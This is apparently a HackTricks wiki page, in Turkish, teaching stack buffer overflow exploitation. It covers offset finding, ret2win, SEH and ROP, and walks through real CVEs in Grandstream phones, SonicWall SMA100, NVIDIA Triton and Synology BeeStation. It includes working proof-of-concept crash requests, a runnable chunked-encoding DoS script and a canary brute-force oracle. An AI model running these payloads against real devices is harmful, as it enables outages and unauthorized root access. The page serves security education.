Stack Overflow
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Stack Overflow nedir?
Bir stack overflow, bir programın stack’e ayrılan alandan daha fazla veri yazdığında ortaya çıkan bir zafiyettir. Bu fazla veri bitişik bellek alanının üzerine yazar, geçerli verilerin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun çalıştırılmasına yol açar. Bu sorun genellikle giriş üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılması nedeniyle ortaya çıkar.
Bu üzerine yazmanın temel sorunu, önceki fonksiyona geri dönmeyi sağlayan saved instruction pointer (EIP/RIP) ve saved base pointer (EBP/RBP)’in stack üzerinde saklanmasıdır. Bu yüzden bir saldırgan bunları üzerine yazarak programın yürütme akışını kontrol edebilir.
Zafiyet genellikle bir fonksiyon stack içine, kendisi için ayrılan miktardan daha fazla byte kopyaladığı için ortaya çıkar ve böylece stack’in diğer kısımlarını overwrite edebilir.
Buna karşı hassas bazı yaygın fonksiyonlar şunlardır: strcpy, strcat, sprintf, gets… Ayrıca, fgets, read ve memcpy gibi uzunluk argümanı alan fonksiyonlar, belirtilen uzunluk ayrılan alandan büyükse savunmasız şekilde kullanılabilir.
Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Stack Overflows offset’lerini bulma
Stack overflows’ı bulmanın en yaygın yolu çok büyük bir A girdisi vermektir (örn. python3 -c 'print("A"*1000)') ve bunun bir Segmentation Fault ile sonuçlanmasını beklemektir; bu, adres 0x41414141’in erişilmeye çalışıldığı anlamına gelir.
Ayrıca, bir Stack Overflow zafiyeti bulduğunuzda, return address’i overwrite etmek mümkün olana kadar olan offset’i bulmanız gerekir; bunun için genellikle bir De Bruijn sequence kullanılır. Belirli bir alfabe büyüklüğü k ve alt dizin uzunluğu n için bu, her olası uzunluk n alt dizisinin tam olarak bir kez ardışık bir alt dizi olarak göründüğü bir çevrimsel dizidir.
Böylece, hangi offset’in EIP’i elle kontrol etmek için gerektiğini bulmak yerine, bu dizilerden birini padding olarak kullanmak ve sonra onu overwrite eden byte’ların offset’ini bulmak mümkün olur.
pwntools bu iş için kullanılabilir:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
veya GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Yığın Taşmalarının İstismarı
Bir overflow sırasında (taşma boyutu yeterince büyükse) yığında yerel değişkenlerin değerlerini kaydedilmiş EBP/RBP ve EIP/RIP (ve hatta daha fazlası)’na ulaşana kadar üstüne yazabileceksiniz.
Bu tür bir zafiyeti kötüye kullanmanın en yaygın yolu, dönüş adresini değiştirmektir; böylece fonksiyon sona erdiğinde kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilir.
Ancak, diğer senaryolarda sadece yığında bazı değişkenlerin değerlerini ezmek istismarı gerçekleştirmek için yeterli olabilir (CTF çözümlerinde olduğu gibi).
Ret2win
Bu tür CTF zorluklarında, binary içinde hiç çağrılmayan ve kazanmak için çağırmanız gereken bir fonksiyon vardır. Bu zorluklar için sadece dönüş adresini ezmek için offset’i bulmanız ve çağırılacak fonksiyonun adresini bulmanız yeterlidir (genellikle ASLR devre dışı bırakılır), böylece zafiyetli fonksiyon geri döndüğünde gizli fonksiyon çağrılır:
Stack Shellcode
Bu senaryoda saldırgan stack’e bir shellcode yerleştirebilir ve kontrol edilen EIP/RIP’i shellcode’a atlamak ve rastgele kod yürütmek için kötüye kullanabilir:
Windows SEH-based exploitation (nSEH/SEH)
32-bit Windows’ta, bir overflow kaydedilmiş dönüş adresi yerine Structured Exception Handler (SEH) zincirini ezebilir. İstismar tipik olarak SEH işaretçisini bir POP POP RET gadget ile değiştirir ve büyük buffer’a geri dönmek için kısa bir sıçrama için 4 baytlık nSEH alanını kullanır; shellcode’un bulunduğu yerde pivot yapılır. Yaygın bir desen, nSEH’de kısa bir jmp olup bunun hemen öncesine yerleştirilmiş 5 baytlık near jmp’e inerek payload başlangıcına yüzlerce bayt geri atlamaktır.
ROP & Ret2… techniques
Bu teknik, önceki tekniğin ana korumasını atlamak için temel çerçevedir: No executable stack (NX). Ayrıca binary içindeki mevcut talimatları kötüye kullanarak rastgele komutlar çalıştıracak birçok diğer tekniği (ret2lib, ret2syscall…) gerçekleştirmeye olanak tanır:
Heap Overflows
Bir overflow her zaman stack’te olmayabilir; örneğin heap’te de olabilir:
Koruma Türleri
Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar vardır, bunları şu adreste inceleyin:
Common Binary Exploitation Protections & Bypasses
Gerçek Dünya Örneği: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)
/app/bin/gs_web(32-bit ARM) TCP/80 üzerinde/cgi-bin/api.values.get’i herhangi bir kimlik doğrulaması olmadan açığa çıkarır. POST parametresirequestiki nokta ile ayrılmıştır; her karakterchar small_buffer[64]içine kopyalanır ve token:veya sonunda NUL ile sonlandırılır, herhangi bir uzunluk kontrolü olmadan, bu da tek bir aşırı büyük token’ın kayıtlı register’ları/dönüş adresini parçalayabilmesine izin verir.- PoC overflow (çöker ve saldırgan verisini register’larda gösterir):
curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)". - Delimiter-driven multi-NUL placement: her iki nokta ayracı parsing’i yeniden başlatır ve trailing bir NUL ekler. Birden fazla aşırı uzun identifier kullanarak, her token’ın terminatörü bozulmuş frame’de farklı bir offssete hizalanabilir; bu, her overflow normalde yalnızca bir NUL eklese bile saldırganın birden fazla
0x00baytı yerleştirmesine olanak verir. Bu kritik çünkü non-PIE binary0x00008000adresine maplenmiştir, bu yüzden ROP gadget adresleri NUL baytları içerir. - Belirlenen offsetlere beş NUL bırakmak için örnek iki nokta üst üste payload (uzunluklar stack düzenine göre ayarlanır):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE checksecNX etkin, canary yok, PIE yok gösterir. İstismar, sabit adreslerden oluşturulmuş bir ROP zinciri kullanır (ör. öncesystem()sonraexit()çağrılması), delimiter hilesiyle gereken NUL baytlarını yerleştirip argümanları konumlandırarak.
Gerçek Dünya Örneği: CVE-2025-40596 (SonicWall SMA100)
sscanf’in güvensiz girdileri ayrıştırmak için asla güvenilmemesi gerektiğinin iyi bir gösterimi 2025’te SonicWall’ın SMA100 SSL-VPN cihazında ortaya çıktı.
Zafiyetli rutin /usr/src/EasyAccess/bin/httpd içinde /__api__/ ile başlayan herhangi bir URI’den versiyon ve endpoint’i çıkarmaya çalışır:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Birinci dönüşüm (
%2s) güvenli şekildeversioniçine iki bayt depolar (ör."v1"). - İkinci dönüşüm (
%s) uzunluk belirticisine sahip değil, bu nedenlesscanfilk NUL byte’a kadar kopyalamaya devam edecektir. endpointstack üzerinde yer alır ve 0x800 bayt uzunluğunda olduğu için, 0x800 bayttan daha uzun bir path sağlamak buffer’ın ardından gelen her şeyi bozar ‑ buna stack canary ve saved return address de dahildir.
Tek satırlık bir proof-of-concept, çöküşü kimlik doğrulamadan önce tetikleyecek kadar yeterlidir:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
stack canaries işlemi sonlandırsa bile, saldırgan yine de bir Denial-of-Service primitive’ine sahip olur (ve ek bilgi leak’leri ile muhtemelen code-execution elde edebilir).
Gerçek Dünya Örneği: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) HTTP API üzerinden erişilebilen birden fazla stack-based overflows içeriyordu.
Zafiyete açık desen http_server.cc ve sagemaker_server.cc dosyalarında tekrar tekrar ortaya çıktı:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) geçerli HTTP istek gövdesini oluşturan dahili buffer segmentlerinin sayısını döndürür.- Her segment,
alloca()ile stack üzerinde 16-byteevbuffer_iovectahsis edilmesine neden olur – herhangi bir üst sınır olmadan. - Bir istemci, HTTP chunked transfer-encoding’i suistimal ederek isteğin yüz binlerce 6-byte chunks (
"1\r\nA\r\n") şeklinde bölünmesini zorlayabilir. Bu,n’in stack tükenene kadar sınırsızca büyümesine neden olur.
Kavram Doğrulaması (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
Varsayılan derlemede, ~3 MB civarı bir istek saved return address'i üzerine yazarak daemon'ı **crash** etmeye yeter.
### Gerçek Dünya Örneği: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Synacktiv’in Pwn2Own 2025 zinciri, port 5000'de `SYNO.BEE.AdminCenter.Auth` içindeki pre-auth overflow'u kötüye kullandı. `AuthManagerImpl::ParseAuthInfo` saldırgan girdisini Base64 çözerek 4096 baytlık bir stack buffer'a yazıyor ancak yanlışlıkla `decoded_len = auth_info->len` olarak ayarlıyor. CGI worker istek başına fork yaptığı için her child parent’ın stack canary’sini devralıyor; bu yüzden tek bir stabil overflow primitive stack'i bozmak ve gereken tüm sırları leak etmek için yeterli oluyor.
#### Base64 çözülmüş JSON ile yapılandırılmış overflow
Çözülen blob geçerli JSON olmalı ve `"state"` ile `"code"` anahtarlarını içermeli; aksi halde parser overflow işe yaramadan önce hata fırlatır. Synacktiv bunu, Base64 ile encode ettikleri bir payload'u çözdüğünde JSON, sonra bir NUL byte, ardından overflow akışını üretecek şekilde hazırlayarak çözdü. `strlen(decoded)` NUL'de durduğu için parsing başarılı oluyor, fakat `SLIBCBase64Decode` çoktan JSON nesnesinin ötesine stack'i yazmış; canary, saved RBP ve return address'i kaplamış.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing ile canaries & pointers
synoscgi her HTTP isteği için bir kez fork eder, bu yüzden tüm child süreçler aynı canary, stack düzeni ve PIE slide’ını paylaşır. Exploit, HTTP status kodunu bir oracle olarak kullanır: bir 200 yanıtı tahmin edilen byte’ın stack’i koruduğunu, 502 (veya bağlantının kopması) ise sürecin crash olduğunu gösterir. Her byte’ı seri olarak brute-force etmek 8-byte canary’yi, kaydedilmiş bir stack pointer’ı ve libsynobeeadmincenter.so içindeki bir return address’i geri getirir:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr doğrulanmış öneki ekleyerek bf_next_byte’ı sekiz kez çağırır. Synacktiv bu oracles’ları ~16 worker thread ile paralelleştirerek toplam leak süresini (canary + stack ptr + lib base) üç dakikanın altına düşürdü.
From leaks to ROP & execution
Kütüphane base’i bilindiğinde, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) bir arb_write primitive’i oluşturur; bu primitive /bin/bash, -c ve saldırgan komutunu leaked stack adresine hazırlar. Son olarak zincir SLIBCExecl için çağrı konvansiyonunu ayarlar (a BeeStation wrapper around execl(2)), ayrı bir info-leak bug’a ihtiyaç duymadan root shell sağlar.
References
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
- Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


